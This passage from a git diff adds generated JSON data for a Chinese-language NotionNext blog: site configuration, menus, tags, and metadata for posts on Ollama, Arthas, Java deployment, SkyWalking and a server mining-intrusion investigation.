2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"推荐"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\226\207\345\255\227.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\226\207\345\255\227.json"
new file mode 100644
index 000000000..38eb2da0a
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\226\207\345\255\227.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 